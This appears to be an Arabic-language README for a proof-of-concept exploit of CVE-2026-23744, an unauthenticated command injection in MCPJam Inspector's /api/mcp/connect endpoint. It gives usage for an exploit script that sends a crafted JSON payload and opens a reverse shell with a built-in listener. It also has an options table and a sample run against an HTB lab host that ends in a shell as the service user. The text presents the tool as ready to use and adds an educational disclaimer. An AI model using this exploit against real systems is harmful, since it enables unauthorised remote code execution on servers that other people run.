
CVE-2026-23744 هي ثغرة حقن أوامر بدون مصادقة في MCPJam Inspector ≤1.4.2 عبر /api/mcp/connect. يستغل هذا الكود البرهاني (POC) الثغرة عن طريق إرسال حمولة JSON مصمّمة خصيصًا لتنفيذ أوامر عشوائية، مما يمنح صدفة عكسية (reverse shell) مع PTY.
إثبات المفهوم هذا مُقدَّم حصريًا لأغراض البحث الأمني المصرح به والتعليم والبيئات المخبرية الخاضعة للسيطرة (مثل HTB أو CTF أو اختبار الاختراق الداخلي بموافقة كتابية صريحة). الاستخدام غير المصرح به ضد أي نظام دون إذن هو أمر غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام؛ يتحمل المستخدمون وحدهم مسؤولية الامتثال لجميع القوانين واللوائح المعمول بها.
CVE-2026-23744 هي ثغرة حقن أوامر بدون مصادقة في MCPJam Inspector (الإصدار ≤ 1.4.2).
تقبل نقطة النهاية /api/mcp/connect حمولة JSON تحتوي على serverConfig.command و serverConfig.args وتمررها مباشرة إلى إطلاق عملية نظام دون أي تنظيف. يمكن للمهاجم إرسال طلب مخصص لتنفيذ أوامر نظام عشوائية، والحصول على صدفة عكسية بصلاحيات مستخدم الخدمة.
يحتوي هذا المستودع على سكريبت استغلال كامل يعمل مع مستمع تفاعلي اختياري تلقائي قائم على PTY (مفعّل افتراضيًا).
requests ()pip install requestsمهم: قم بتوفير اسم المضيف أو عنوان IP فقط. يضيف السكريبت تلقائيًا http:// أو https://
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
| الخيار | الوصف |
|---|---|
-t, --target | اسم مضيف الهدف أو عنوان IP (مطلوب) |
-p, --port | منفذ الهدف (الافتراضي: 6274) |
-l, --lhost | عنوان IP الخاص بك للصدفة العكسية (مطلوب) |
-r, --lport | منفذ المستمع لديك (الافتراضي: 4444) |
--ssl | استخدم HTTPS بدلاً من HTTP |
--check-only | تحقق من الثغرة فقط، دون إرسال صدفة |
يبدأ السكريبت مستمعًا خاصًا به ويمنحك صدفة مباشرة في الطرفية.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root.هذا المستودع مخصص للأغراض التعليمية والاختبار المصرح به فقط. استخدمه على مسؤوليتك الخاصة.
Author: Mluex0
Date: August 2026